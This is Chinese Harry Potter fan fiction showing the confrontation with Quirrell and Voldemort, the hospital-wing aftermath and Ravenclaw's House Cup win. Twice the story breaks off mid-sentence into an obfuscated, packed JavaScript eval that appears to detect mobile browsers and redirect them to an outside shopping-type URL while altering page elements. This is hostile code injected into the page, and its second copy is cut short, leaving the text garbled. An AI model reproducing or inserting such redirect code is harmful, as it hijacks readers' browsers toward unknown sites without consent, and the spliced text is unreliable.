赫敏已经冲到了门前。门后是一个小房间,里面只有一张桌子,桌上放着七个形状各异的瓶子,排成一排。每个瓶子里都装着不同颜色的药水。 房间另一头是黑色的火焰,熊熊燃烧着,完全堵住了去路。而在他们进来的这一头,是紫色的火焰,同样在燃烧——他们被困在两团火焰之间了。 桌子上有一张羊皮纸。赫敏抓起来,快速念道: “危险在前,安全在后。 两个之中藏着前进的路, 两个之中藏着返回的途。 一瓶会送你继续前进, 一瓶会送你回到后头, 两瓶装的是荨麻酒, 三个是杀手,藏在里头。 无论怎样,选择在你, 喝了才会知道真假, 想要线索,就在诗里找吧。” “逻辑谜题,”赫敏的眼睛亮了,“我能解。给我一分钟。” 她开始仔细看那些瓶子,对照着羊皮纸上的诗句,小声嘀咕着:“‘两个之中藏着前进的路’……意思是七瓶里只有一瓶能让人穿过黑色火焰。‘两个之中藏着返回的途’……另一瓶能让人退回紫色火焰。‘两瓶装的是荨麻酒’……那是无害的。‘三个是杀手’……” Eva看着那些瓶子。药水的颜色很漂亮:透明的,紫色的,蓝色的,绿色的,黑色的,红色的,还有一瓶是无色的。但谁知道哪瓶是毒药? 罗恩靠在墙上,脸色苍白,但意识清醒。哈利焦急地看着赫敏,又看看那两团火焰。 “好了,”赫敏终于说,指着那排瓶子,“最小的这瓶,透明的,能让人穿过黑色火焰——继续前进。右边这瓶,紫色的,能让人退回紫色火焰——返回。这两瓶大的,”她指了指蓝色和绿色的,“是荨麻酒,无害。剩下的三瓶——黑色、红色、无色——都是毒药,碰都不能碰。” 她拿起那瓶最小的透明药水:“只够一个人喝的量。” 四个人看着那小小的瓶子,沉默了。 “我去,”哈利立刻说,“魔法石……那个人……我得去。” “可是哈利——”赫敏想反对。 “罗恩受伤了,你得送他回去,”哈利打断她,声音很坚定,“Eva……你陪着他们。我一个人去。” Eva看着哈利。他脸上有灰尘,头发更乱了,绿眼睛在火光下闪着一种她从未见过的光——不是恐惧,是决心。那道疤痕暗红得像要滴血。 她想起禁林里费伦泽的话:“火星在你们的头顶闪烁,今晚,黑暗非常活跃。” 玉佩温温的,没有预警。但有时候,危险不一定来自黑暗力量。 “你确定?”她轻声问。 哈利点点头,接过赫敏手里的瓶子:“确定。你们快回去,找教授。如果……如果我太久没出来……” 他没说完,但意思很清楚。 赫敏的眼圈红了,但她点点头,拿起那瓶紫色药水,小心地倒了一点在罗恩嘴里,又自己喝了一口。罗恩和赫敏转身走向紫色火焰——火焰分开一条路,让他们通过了。 现在只剩下哈利和Eva,站在两团火焰之间。 哈利看着手里那瓶透明的药水,又看看Eva:“你也该回去了。” Eva没动。她看着哈利,看着他那双绿眼睛里的决心和恐惧,想起这一年来所有的事:火车上的初遇,万圣节一起对抗巨怪,魁地奇比赛时的担心,禁林那晚的并肩,还有刚才棋盘上罗恩差点被砸碎的那一刻。 有些线,一旦跨过去,就回不来了。 “我不回去。”她说,声音很平静。 哈利愣住了:“什么?可是——” “你一个人,需要有人看着背后。”Eva说,从口袋里掏出爷爷给的紫竹笔,“而且……我有这个。也许有用。” 哈利看着她,嘴唇动了动,好像想说什么,但最后只是深吸一口气,点了点头:“好。那……我们一起。” 他举起瓶子,把里面透明的药水一饮而尽,然后递给Eva——瓶底还剩下几滴。 Eva接过瓶子,把最后几滴倒进嘴里。药水没什么味道,像清水,但喝下去后,身体里涌起一股奇异的暖流。 “走吧。”哈利说,走向黑色火焰。 火焰像帘子一样分开。他们走进去,火焰在身后合拢。 27. 棋局之下(下) 火焰在身后合拢的声音像一声沉重的叹息。 门后是最后一个房间。 房间很大,圆形的,天花板高高的,点着火把。但吸引他们目光的不是房间本身,而是房间中央的景象—— 奇洛教授站在那里,背对着他们。但他不是一个人——他的后脑勺上,贴着另一张脸。一张脸扁平得像蛇,颜色是诡异的灰白,眼睛是两条细缝,红色的瞳孔像燃烧的炭火。 而在奇洛面前,一面巨大的镜子矗立在那里——厄里斯魔镜。镜子里映出奇洛的身影,但在奇洛的镜像手里,握着一块血红色的石头,闪闪发光。 现实中的奇洛手里空无一物。他正对着镜子喃喃自语:“给我……把石头给我……” “奇洛教授?”哈利的声音打破了寂静。 奇洛猛地转过身。那张后脑勺上的脸也转了过来——两张脸同时看向他们,四只眼睛,在昏暗光线下闪着诡异的光。 “波特,”奇洛说,声音还是结结巴巴的,但眼神不一样了——不再是那种惊慌失措,而是冰冷的,像蛇,“还有……张小姐。真意外。” 他后脑勺上的脸发出嘶嘶的声音,用的是另一种语言,但Eva能听懂几个词:“……碍事……杀掉……” 奇洛朝他们走来。Eva感觉到腕间的玉佩突然变得滚烫——比禁林那晚还要烫,像一块烧红的炭贴在皮肤上。她体内的“炁”骤然加速,像受惊的溪流开始狂乱地奔涌。 “魔法石在镜子里,”奇洛说,声音里带着疯狂的笑意,“但我拿不到。邓布利多施了魔法……只有真正想找到石头但不想使用它的人,才能拿到。多么讽刺。” 他的目光落在哈利身上:“但你,波特……你只是个小男孩,想保护石头,不想用它。也许……镜子会给你。” 哈利盯着镜子,绿眼睛里满是困惑和恐惧。他慢慢走向镜子,奇洛没有阻止。 Eva站在原地,魔杖握在手里,但手臂因为玉佩的滚烫和“炁”的狂乱而微微发抖。她看着奇洛,看着那张后脑勺上的脸——那就是伏地魔,那个连名字都不能提的人,那个在禁林猎杀独角兽、想用魔法石复活的人。 哈利站在镜子前。镜子里,他的镜像把手伸进口袋,掏出了一块血红色的石头,然后眨了眨眼,又把石头放回口袋。现实中,哈利感觉自己的口袋一沉——石头真的出现了。 “他拿到了!”奇洛后脑勺上的脸尖叫道,“杀了他!拿过来!” 奇洛扑向哈利。哈利想跑,但奇洛已经抓住了他的手腕—— “啊——!”奇洛突然尖叫起来,像被烫到一样松开了手。他抓哈利的那只手上冒起了烟,皮肤开始溃烂。 哈利也愣住了,看着自己的手——没事。 “抓住他!用别的方法!”伏地魔嘶吼。 奇洛抽出魔杖:“阿瓦达——” 绿光还没发出,Eva的咒语已经先到了:“除你武器!” 红光击中奇洛的手腕,魔杖飞出去,撞在墙上。但奇洛没有倒下——他空着手扑向哈利,想用身体压制他。 哈利本能地伸手去推——他的手碰到奇洛的脸。 “不——!!!”更凄厉、更长久的惨叫。奇洛整张面孔以哈利掌心触碰点为中心,肉眼可见地腐烂、塌陷下去,仿佛血肉在瞬间被某种纯净的力量净化、消融。他踉跄后退,双手疯狂抓挠着自己的脸,却只抓下更多溃烂的皮肉。 “废物!没用的东西!”后脑勺上的脸发出狂怒的嘶吼。一团浓郁如实质的黑雾猛地从奇洛濒死的躯壳中挣脱出来,悬浮在半空。黑雾剧烈翻腾,勉强凝聚成一张模糊而狰狞的蛇脸,那双狭长的红色瞳孔燃烧着纯粹的恶意与贪婪,死死盯住了哈利——和他鼓起的口袋。 “魔法石……”雾状的脸发出空洞而贪婪的嘶语,随即化作一道漆黑的利箭,挟着刺骨的冰寒与令人作呕的甜腻腐朽气息,直射哈利的心脏! Eva挡在了哈利面前。 动作快过思考。就像禁林里冲向蜘蛛的螯肢,就像棋盘上举起魔杖对准落下的石杖。看到那团充满极致恶意的黑暗扑向朋友,她的身体已经先于大脑做出了反应。 没有实体碰撞的闷响。黑雾撞上了她——不,是撞上了她周身瞬间亮起的一层柔和的、半透明的白光。 “嗡——!” 一声低沉的、仿佛古钟鸣响的震颤在房间内回荡。Eva腕间的玉佩滚烫如炽铁,以前所未有的亮度绽放光华。与此同时,她体内那股平和的“炁”仿佛受到了最激烈的挑衅,不再遵循爷爷教导的舒缓流转,而是如同被惊醒的怒龙,轰然爆发,顺着经脉奔涌向她的四肢百骸,最终与玉佩涌出的守护之力在她身前交汇、融合! 那层白光,正是她自身“炁”的韧性,与玉佩古老守护法则的结合。 黑雾撞上白光的刹那,时间仿佛凝滞了一瞬。 刺耳的尖啸与低沉的嗡鸣交织炸开——那不是声音,而是两种截然相反的魔力在疯狂撕咬。黑雾如同拥有生命的粘稠沥青,翻滚着试图渗透、腐蚀那层柔光;而白光则像一张被拉至极限的古老绢帛,在Eva身前剧烈震颤,表面流转的太极图纹明灭不定。 玉佩滚烫到几乎烙进她的腕骨,体内奔涌的“炁”以前所未有的速度被抽离,顺着经脉涌向掌心,与玉佩涌出的暖流汇合,死死抵住那片冰寒刺骨的黑暗。她能“感觉”到——不是看到,是某种更深层的感知——黑雾中充斥着饥饿、怨恨与对生命的纯粹憎恶,而己方的力量则像深潭底部最沉静的水,温润却坚韧,试图化解、包容那股暴戾。 但差距太大了。 “咔嚓——” 仿佛琉璃碎裂的细微声响在她灵台深处响起。白光屏障向内凹陷,出现蛛网般的裂痕! 紧接着,一股无法形容的巨力隔着即将破碎的屏障狠狠撞上她的胸口。 “呃——!” 她像被一柄无形的重锤砸中,双脚离地,向后倒飞。背脊撞上石墙的闷响、骨骼的抗议、喉头涌上的腥甜……所有感觉混杂在一起。视野瞬间被黑暗与迸溅的金星吞噬,耳边只剩下自己粗重如风箱的喘息,和玉佩温度骤降带来的、冰冷的空虚感。 “有意思……”黑雾发出断续、嘶哑的波动,不再是语言,而是直接响彻脑海的恶意低语,“东方的……古老守护……竟能伤到我……但,还不够!” 它再次竭力凝聚,虽然体积小了一圈,却更加凝实,带着一种同归于尽般的决绝,第二次扑向倚着墙壁、无法动弹的Eva——它意识到这个女孩的“守护”是它夺取魔法石的最大障碍,必须先予摧毁! “不——!!”哈利嘶吼着,不知哪来的力气,猛地扑过来,用整个身体严严实实地挡在了Eva与黑雾之间。 没有光芒亮起。黑雾如同穿过一道虚影,径直没入了哈利的身体。 “啊——!!!!” 这一次,发出痛苦尖啸的却是那团黑雾!在穿过哈利身体的刹那,它仿佛撞上了一片无边无际、温暖而灼热的金色海洋——那是莉莉·波特用生命为代价施加的古老保护,是“爱”所化的最纯粹、最强大的魔法。对黑暗灵魂而言,这无异于将一块冰投入熔炉! 哈利的额头,那道闪电形疤痕骤然迸裂,鲜红的血液涌出,划过他苍白的面颊。他发出一声短促的痛呼,双眼翻白,直挺挺地向后倒去,但在失去意识前,他的手臂仍下意识地护向Eva的方向。 而那团黑雾从哈利背后逸散出来时,已经稀薄得像一缕即将散去的晨间污秽,几乎无法维持形状。它剧烈地颤抖着,里面传出微弱却充满极致怨恨的嘶嘶声,最后看了一眼倒在地上的两个孩子,猛地一缩,化作一道几乎看不见的细小黑烟,“嗖”地一声从门缝钻了出去,消失无踪。 房间里只剩下他们三个——哈利躺在地上,Eva靠在墙边,奇洛蜷缩在角落,已经不动了,脸烂得看不清五官。 寂静。 然后门被撞开了。 邓布利多教授冲进来,银白色的长胡子在身后飞扬。他后面跟着麦格教授、斯内普教授,还有气喘吁吁的赫敏——她带着教授们回来了。 “哈利!”邓布利多快步走到哈利身边,俯身检查。 “我没事……”哈利挣扎着坐起来,手捂着额头,“Eva……她……” 麦格教授已经扶起了Eva。Eva感觉全身的骨头都像散了架,胸口闷得喘不过气,但意识还清醒。玉佩已经不那么烫了,恢复成温温的触感,但“炁”还在体内乱窜,像脱缰的野马。 “医疗翼,”邓布利多果断地说,“立刻。” 斯内普教授走到奇洛身边,用魔杖检查了一下,黑眼睛里闪过一丝复杂的情绪——不是悲伤,也不是惊讶,更像是一种……确认。 “死了,”他冷冷地说,然后他转向哈利和Eva,视线先在哈利血流不止的额头上停留一瞬,瞳孔微微收缩;随即落到Eva苍白的脸上,尤其是她手中紧握的、光泽黯淡的玉佩。他的眉头几不可察地蹙了一下,像是看到了某种他不熟悉但又必须评估的东西。 他又移向哈利,“波特,能走吗?” 哈利点点头,在麦格教授的搀扶下站起来。他的疤痕还在流血,但绿眼睛亮得惊人,一直看着Eva。 他们被带出房间,走过那些机关房间——棋盘已经静止了,魔鬼网缩在角落,路威还在睡觉,笛声早就停了。 城堡的走廊空荡荡的,宵禁时间早就过了。火把的光在石墙上跳动,把影子拉得长长的。 Eva被麦格教授搀扶着,每一步都像踩在棉花上。她听见赫敏在后面小声抽泣,听见罗恩呻吟着说“我没事,真的”,听见邓布利多温和但严肃的声音在交代什么。 但最清晰的,是哈利的目光——他一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980643|193567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直看着她,绿眼睛里充满了担忧,还有……一种她看不懂的东西。 医疗翼里,庞弗雷夫人像只受惊的母鸡,把他们按在床上,灌下一堆味道古怪的药水。Eva喝下去后,感觉乱窜的“炁”慢慢平复下来,胸口的闷痛也减轻了些。 哈利就在旁边的床上,庞弗雷夫人正小心地处理他额头上的伤。 “疤痕裂开了,但没伤到骨头,”庞弗雷夫人皱着眉头说,“需要特殊药膏……邓布利多教授已经去取了。” 邓布利多教授走进来,手里拿着一个小罐子。他把罐子递给庞弗雷夫人,然后坐在哈利床边的椅子上。 “现在,告诉我发生了什么,”他的声音很温和,但蓝眼睛锐利得像能看穿人心,“从头开始。” 哈利断断续续地讲了——从怀疑斯内普,到发现魔法石的真相,到今晚的决定,到每一个房间,最后到奇洛和……伏地魔。 他说出那个名字时,声音在发抖,但很清晰。 邓布利多安静地听着,半月形眼镜后的蓝眼睛注视着哈利,手指轻轻搭在膝盖上。当哈利说到“奇洛后脑勺上那张脸”时,邓布利多的指尖几不可察地蜷缩了一下。 听到“伏地魔的灵魂碎片”和“玉佩发光抵挡”时,他缓缓向后靠进椅背,目光转向窗外渐亮的天空,沉默持续了漫长的几秒。医疗翼的空气仿佛都沉重了几分。 “我明白了。”他终于开口,声音比平时更低沉,带着一种沉重的了然,“奇洛教授……他很久以前就被蛊惑了。而汤姆……”他顿了顿,说出那个名字时,语气里有一种复杂的疲倦,“他总是善于利用人心的弱点与渴望。” “张小姐,”他温和地说,“能给我看看你的玉佩吗?” Eva从手腕上取下玉佩——绳子没断,真是奇迹。玉佩比平时暗淡了一些。邓布利多接过玉佩,仔细看了看。玉佩在医疗翼的灯光下泛着光泽,太极图和八卦符号清晰可见。 “古老的守护……需要纯净的心念与自身力量共同激发。你做得很好,但代价也不小。”他将玉佩轻轻放回Eva掌心,手指在她腕间残留的灼痕上短暂停留,眼神深邃,“有些力量,过度调用会伤及根本。你需要时间,让它——也让你自己——慢慢恢复。” Eva点点头,把玉佩重新戴好。玉佩贴在皮肤上,比平时凉很多。她能感觉到,此刻它就像一块被耗尽的电池,需要时间慢慢从她平稳下来的“炁”中重新汲取能量。 “至于你,哈利,”邓布利多转向哈利,“你母亲留给你的保护,比任何魔法都要强大。爱留下的印记,伏地魔无法理解,也无法触碰。这就是为什么奇洛碰到你会受伤,为什么伏地魔的灵魂碎片无法伤害你。” 哈利摸着额头上的疤痕,绿眼睛里满是困惑:“可是……他还在,对不对?伏地魔。他只是……逃走了。” “是的,”邓布利多点点头,表情严肃,“他逃走了。但他现在比任何时候都要虚弱。失去了奇洛这个宿主,又在你母亲保护的力量下受了重创……他需要时间恢复。很长的时间。” 他站起身,银白色的长胡子在灯光下闪闪发光:“现在,你们需要休息。明天就是年终宴会,然后暑假开始。把今晚的事放在心里,但不要让它压垮你们。你们做了非常勇敢的事,但也非常危险。我希望你们明白——有些战斗,应该交给大人。” 他走到门口,又回头看了一眼:“魔法石已经被销毁了。尼可·勒梅和他的妻子做好了准备,他们的人生已经足够漫长和充实。有时候,知道该在什么时候放手,也是一种智慧。” 门关上了。医疗翼里安静下来,只有庞弗雷夫人在配药时瓶罐碰撞的轻微响声。 哈利转过头,看着Eva:“谢谢你。” 他的声音很清晰,但Eva实在是太困了。 “你也救了我。”她迷迷糊糊地说。 哈利摇摇头:“不,是你先……挡在我面前。”他顿了顿,绿眼睛在昏暗光线下闪着光,“为什么?” Eva实在是太困了,闭上了眼睛:“不知道。就是……做了……” 哈利听着她逐渐平稳的呼吸声,自己也感到一阵沉重的疲惫袭来,但心里某个地方却异常清醒。额头的伤口在药膏作用下传来清凉的刺痛,但更深处,是一种灼热的东西在沉淀——是今晚直面伏地魔的恐惧,是看到朋友受伤的愤怒与无力,是母亲保护再次被证实的温暖与悲伤……还有,Eva挡在他面前时,那瞬间炸开的刺目光芒,和她向后倒下时苍白的脸。 这些画面反复闪现,最后凝结成一种沉甸甸的决心,沉入心底最深处。他还不能完全说清那是什么,他必须变得更强,强到足以面对黑暗,强到……或许有一天,能换他来挡在前面。 他最后看了一眼旁边床上熟睡的女孩,也闭上了眼睛。月光透过医疗翼的窗户,温柔地洒在两个疲惫的孩子身上。 28. 年终宴会 晨光透过医疗翼的高窗,在白色帷幔上投下淡金色的光斑。Eva醒来时,感觉身体像被石像鬼坐过一样沉重。手臂和胸口传来阵阵酸痛,是昨晚过度消耗的纪念。她轻轻动了动手指,腕上的玉佩凉凉的,光泽比平时暗淡了很多。 旁边的床传来动静。哈利已经坐起来了,正小心地碰着额头上的新绷带。庞弗雷夫人用一种特殊的银色药膏处理了他的伤,说疤痕可能永远都会比之前明显一点。他的绿眼睛下有淡淡的阴影,但眼神清醒。 “早。”哈利看见她醒了,声音有点哑。 “早。”Eva轻声回应。喉咙干干的。 庞弗雷夫人像一阵风似的刮过来,端着两个冒热气的杯子:“醒了就好。安神补剂,喝了。不许剩。” 药水是浅金色的,闻着有蜂蜜和薄荷味。喝下去暖暖的,驱散了寒意和疲惫。Eva小口喝着,感觉体内的魔力平顺了些,但是那股乱窜的“炁还是没什么变化。 门被轻轻推开。赫敏和罗恩探进头来,眼睛都红红的。罗恩的胳膊吊着绷带,脸上有擦伤,但精神头不错。 “你们没事吧?”赫敏快步走来。 “还好。”哈利说。 罗恩一屁股坐在床沿,扯到伤处龇牙咧嘴:“梅林啊,昨晚吓死我了。我们带教授下去时,看到你们躺在那儿,奇洛那样子……”他打了个寒颤。 “邓布利多教授都跟我们说了,”赫敏压低声音,“关于奇洛……和伏地魔。”她说出那名字时,声音还是抖了一下,“魔法石被销毁了。尼可·勒梅他们……” “他们准备好了。”哈利重复着邓布利多的话,语气里有种不属于十一岁的复杂。 病房安静了几秒。远处传来学生们晨起的声音,隐隐约约。 “年终宴会今晚,”赫敏换了轻松些的语气,“明天就放暑假了。” 罗恩耷拉着脑袋:“学院杯……我们被扣了一百五十分,斯莱特林肯定赢了。” 就在这时,庞弗雷夫人过来做最后检查:“可以出院了。回去换衣服,吃早饭,然后老实待着。晚上谁脸色不好,就别想去宴会。” 他们走出医疗翼时,走廊已热闹起来。学生们抱着书匆匆走过,讨论假期,抱怨成绩。阳光倾泻而下,把石墙照得暖洋洋的。一切如常——仿佛昨晚地下深处的生死搏斗,只是一场遥远的梦。 在门厅分开时,哈利叫住了Eva。 “Eva,”他顿了顿,绿眼睛看着她,很认真,“昨晚……谢谢。真的。” Eva摇摇头:“你也救了我。” 哈利似乎想说什么,但最后只是点头:“晚上见。” “晚上见。” 拉文克劳塔楼的旋转楼梯今天感觉特别长。Eva一步步往上走,手指抚过光滑的石壁。鹰形门环静静挂着。 “早晨的问题。”一个正准备进去的七年级女生对她说,“‘什么东西今天属于你,明天属于他人,却永远无法真正拥有?’答案是‘秘密’。你要进吗?” Eva点点头。门开了。 公共休息室里人不多,几个早起的学生在窗边看书。阳光洒在深蓝色地毯上,空气里有旧书和羊皮纸的安心气味。 她走上旋转楼梯。丽莎和帕德玛已在收拾行李——暑假明天开始。 “Eva!”曼蒂从床上跳下来,眼圈还有点红,但脸上是开心的笑,“你回来了!庞弗雷夫人说你们没事,但我还是担心……昨晚到底发生了什么?大家都在传,说奇洛教授不见了……” Eva按照邓布利多教授交代的,简单说:“我们发现奇洛教授在做危险的事,报告了教授。教授们处理了。” “就这样?”曼蒂眨眨眼。 “就这样。”Eva说。这不是撒谎,只是没说全。 丽莎凑过来:“听说学院杯要重新算分?邓布利多教授给你们加分了?” “不知道。”Eva老实说。邓布利多教授在医疗翼只说了让他们休息,没提加分的事。 “今晚就知道了。”帕德玛说。 Eva开始换衣服。校服长袍洗过了,叠得整齐。她换上袍子,系扣子时手指还有点抖——昨晚用力过度的后遗症。 中午在礼堂,气氛明显不一样。关于奇洛教授的传言已有好几个版本,但都提到了哈利他们“发现了问题”。 拉文克劳长桌这边,Eva和曼蒂坐下时,周围投来好奇和敬佩的目光。秋·张端着盘子过来。 “听说你们立了大功,”秋轻声说,眼睛亮亮的,“真了不起。” “运气好。”Eva小声说。 秋笑了笑,没再追问,转而说起暑假计划。 Eva看向格兰芬多长桌。哈利、罗恩和赫敏被围着,伍德激动地拍哈利肩膀。哈利笑得很开心,但不时会轻碰额头上的新纱布。 斯莱特林长桌那边,气氛沉闷。马尔福独自坐在末端,慢条斯理吃东西,脸上没什么表情。他的目光偶尔扫过拉文克劳长桌,在Eva脸上停留一瞬,灰眼睛里那种复杂的情绪还在——困惑,迟疑,挣扎。然后他迅速移开视线,但紧接着,几乎是下意识地,他的目光又飘向了格兰芬多长桌的哈利·波特。看到哈利被众人簇拥、笑得开心的样子,马尔福的嘴唇几不可察地向下撇了撇,一丝混杂着不屑、恼怒与更深层嫉恨的冷意掠过眼底。他猛地转回头,把注意力重新放回面前的盘子上,仿佛多看一眼都觉得刺眼。 教师席上,教授们都在。斯内普教授坐在邓布利多左边,黑眼睛缓缓扫视礼堂。当他的目光掠过Eva时,停留的时间比平时稍长。Eva下意识摸向手腕上的玉佩——它现在很安静。斯内普的视线在那只手上停了一瞬,眉头几不可察地皱了下,然后移开。 下午的时间过得很慢。Eva整理要带回家的东西:课本、笔记、羽毛笔、道袍和旗袍、紫竹笔和绢帛笔记、素雪的笼子、黄铜天平砝码。 曼蒂在旁边塞各种小玩意儿,絮絮叨叨。 窗外的阳光慢慢西斜。 傍晚六点半,Eva换上干净校服长袍,和曼蒂一起下楼。公共休息室已挤满了人,大家都穿着整齐,脸上兴奋。 “今晚一定要赢过斯莱特林!”一个六年级男生挥拳。 罗伯特·希利亚德站在门边,看见她们,点头:“准备好了?走吧。” 他们走下旋转楼梯,汇入前往礼堂的人流。走廊里挤满了学生,四大学院的颜色混在一起。说话声,笑声,脚步声,嗡嗡响成一片。 礼堂已经装饰好了。往常的蜡烛换成了更华丽的魔法灯笼,散发着柔和的光芒。四张长桌铺着雪白桌布,摆着闪闪发光的金色餐具。但最引人注目的还是教师席后面的学院杯计分沙漏——四个沙并排悬挂,里面的宝石在灯光下闪闪发光。 Eva抬头看去。 斯莱特林的沙漏里,绿宝石堆得满满的,明显领先。 赫奇帕奇的黄宝石也不少,但比斯莱特林少一截。 拉文克劳的蓝宝石……和格兰芬多的红宝石数量接近,都还差斯莱特林不少。 学生们在各自的长桌坐下,窃窃私语声像潮水涌起。所有人都盯着那些沙漏。 Eva在拉文克劳长桌中间坐下,曼蒂在旁边。秋·张坐在对面,朝她眨眼。 七点整,教授们入场了。邓布利多教授走在最前面,银白色长胡子在灯光下像瀑布流淌。他走到教师席中央,举起双手。 礼堂立刻安静。 “又是一年过去了,”邓布利多的声音温和而清晰,在寂静的礼堂里回荡,“在享用这顿美餐之前,我不得不耽误大家一点时间,听听一个老人的唠叨。” 他顿了顿,蓝眼睛扫过四张长桌,带着那种特有的、能安抚人心的暖意:“这一年非常精彩,我相信你们的头脑一定比刚来时充实了不少……你们面前有整整一个暑假,可以好好消化这些新东西,为下学期腾出地方,迎接更多新知。” 几个学生发出会心的轻笑。 “现在,据我所知,我们首先要进行学院杯的颁奖。具体得分如下:第四名,格兰芬多,三百一十二分。” 格兰芬多长桌响起一阵叹息,但不算太沮丧。 “第三名,赫奇帕奇,三百五十二分。” 赫奇帕奇长桌响起礼貌掌声。 “第二名,拉文克劳,四百二十六分。” 拉文克劳爆发出热烈掌声和欢呼。Eva看着沙漏里的蓝宝石,心里涌起暖流。 邓布利多顿了顿,礼堂安静得落针可闻。 “第一名,斯莱特林,四百七十二分。” 斯莱特林长桌爆发出震耳欲聋的欢呼、口哨和跺脚声。德拉科·马尔福苍白的脸上终于露出了一个真切的、得意洋洋的笑容,他刻意挺直脊背,灰眼睛挑衅般地扫过格兰芬多长桌,尤其在哈利·波特脸上停留了片刻,嘴角的弧度充满了胜利者的优越感。他还想往拉文克劳这边瞥,但似乎想起了什么,笑容僵了一下,最终没有转过来。 掌声和欢呼持续。邓布利多举起手,掌心向下轻轻压了压,示意安静。 “确实,斯莱特林表现优异,”他公允地说,然后话锋一转,半月形眼镜后的蓝眼睛闪过一丝狡黠的光,“不过,最近发生的几件事,也需要计入考量。” 礼堂瞬间屏息。 邓布利多从袍子里掏出一卷羊皮纸,展开,清了清嗓子:“我还有几项分数要颁发。让我看看……第一项——罗恩·韦斯莱先生……” 罗恩的脸一下子红到发际线。 “……他赢下了许多年来霍格沃茨最精彩的一盘真人巫师棋,为此,奖励格兰芬多学院五十分。” 格兰芬多长桌爆发出惊天动地的欢呼。珀西·韦斯莱正襟危坐,但下巴抬得老高,对每一个看向他的人点头。 “第二项——赫敏·格兰杰小姐……她面对烈火,展现了卓越的逻辑推理能力,奖励格兰芬多学院五十分。” 赫敏用手捂住脸,但耳朵尖红透了,肩膀因为笑意轻轻颤抖。 “第三项——哈利·波特……”邓布利多的声音让礼堂再次安静,“他表现出了非凡的胆识与勇气,为此,奖励格兰芬多学院六十分。” 喧哗声几乎要掀翻施了魔法的天花板。格兰芬多的学生们站起来欢呼、拥抱,哈利被淹没在红金色的浪潮里,脸色绯红,但绿眼睛亮得像翡翠。 “第四项,”邓布利多的声音温和却清晰地穿透喧嚣,“张丽华小姐。” Eva的心跳漏了一拍。周围所有拉文克劳学生的目光都集中到她身上。 “她在面对未知危险时,展现了冷静的判断、坚定的勇气,以及对同伴的忠诚守护。”邓布利多的目光落在她身上,带着长辈的赞许和一丝不易察觉的审慎,“为此,奖励拉文克劳学院六十分。” 拉文克劳的欢呼几乎不输格兰芬多。曼蒂紧紧抱住她,丽莎和帕德玛激动地拍手。秋·张朝她用力竖起大拇指,笑容灿烂。 “此外,”邓布利多继续道,“弗立维教授向我报告,张小姐在整个学年中,作为魔咒练习小组助理,耐心细致地帮助低年级同学,为学院赢得了额外的尊重……为此,再加二十分。” 更多的欢呼和掌声。Eva有些发懵,她没想到弗立维教授会特意提起这个。 “还有,”邓布利多的目光转向格兰芬多长桌,落在那个圆脸男孩身上,“纳威·隆巴顿先生。” 纳威吓了一跳,差点从椅子上滑下去,被旁边的西莫·斐尼甘扶住。 “在朋友可能踏上歧途时,站出来试图阻止,这需要与对抗敌人同样分量的勇气。为此,奖励格兰芬多学院十分。” 纳威的脸红得像煮熟的龙虾,但他在座位上坐直了些,胸膛微微挺起。 “那么,”邓布利多放下羊皮纸,声音里带着一种尘埃落定的平和,“我想,我们需要对目前的分数做一些……调整。” 他轻轻挥了挥魔杖。 四座沙漏中的宝石开始飞速流动、重组,发出细碎的、仿佛溪水流过鹅卵石般的悦耳声响。 所有人的眼睛都死死盯着那些闪烁的光芒。 当最后一块宝石落定,一切归于静止。 礼堂陷入一片近乎诡异的寂静。 然后—— 教师席后面,代表斯莱特林学院冠军的银绿色装饰——那些旗帜、帷幔、以及天花板下悬挂的横幅——如同被无形的橡皮擦缓缓抹去。紧接着,深蓝色与古铜色的光泽如同潮水般蔓延开来,取而代之的是拉文克劳的旗帜与星辰。天花板上,深蓝的夜幕浮现,点缀着闪烁的青铜色星辰,优雅而深邃。 “格兰芬多,四百七十二分。”邓布利多的声音在寂静中清晰响起,“斯莱特林,四百七十二分。赫奇帕奇,三百五十二分。而拉文克劳……” 他顿了顿,目光扫过一片呆滞的斯莱特林长桌和屏息以待的拉文克劳学生。 “五百零六分。” 死寂维持了大概三秒钟。 然后,拉文克劳长桌爆发出山呼海啸般的狂喜!蓝青铜色的围巾、帽子、甚至是书本被抛向空中,学生们跳上长椅,互相拥抱、击掌、欢呼,声音几乎要震裂古老的石墙。弗立维教授站在教师席上,高兴得抹了抹眼角,尖声喊道:“干得好!我的孩子们!干得好!” Eva被这突如其来的狂喜浪潮包围,有些眩晕。她看着沙漏里那远超过其他学院的、璀璨夺目的蓝宝石,看着周围每一张激动兴奋的脸,看着天花板属于拉文克劳的星空……这一切都有些不真实。 她下意识地看向格兰芬多长桌。哈利、罗恩和赫敏也在用力鼓掌、欢笑,虽然与学院杯失之交臂,但能与斯莱特林并列第二,已经是巨大的逆转。哈利越过人群看向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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l四张长桌上瞬间堆满了令人眼花缭乱的食物:巨大的烤火鸡、滋滋冒油的烤牛肉和约克郡布丁、成串的香肠和熏肉、各种做法的马铃薯、新鲜的豌豆胡萝卜、浓稠的肉汁,还有成山的薄荷硬糖和巧克力坩埚蛋糕。 礼堂里的气氛瞬间转变,被美食的香气和重新响起的喧嚣充斥。拉文克劳学生们互相倒着南瓜汁,庆祝这意想不到的胜利。格兰芬多那边,虽然有些遗憾,但也很快沉浸在美食和即将到来的暑假喜悦中,伍德已经开始大声规划下学期的魁地奇训练。赫奇帕奇学生向来平和,也开心地享用大餐。只有斯莱特林长桌,虽然也开始进食,但气氛明显压抑了许多,交谈声低而克制,不复往日嚣张。 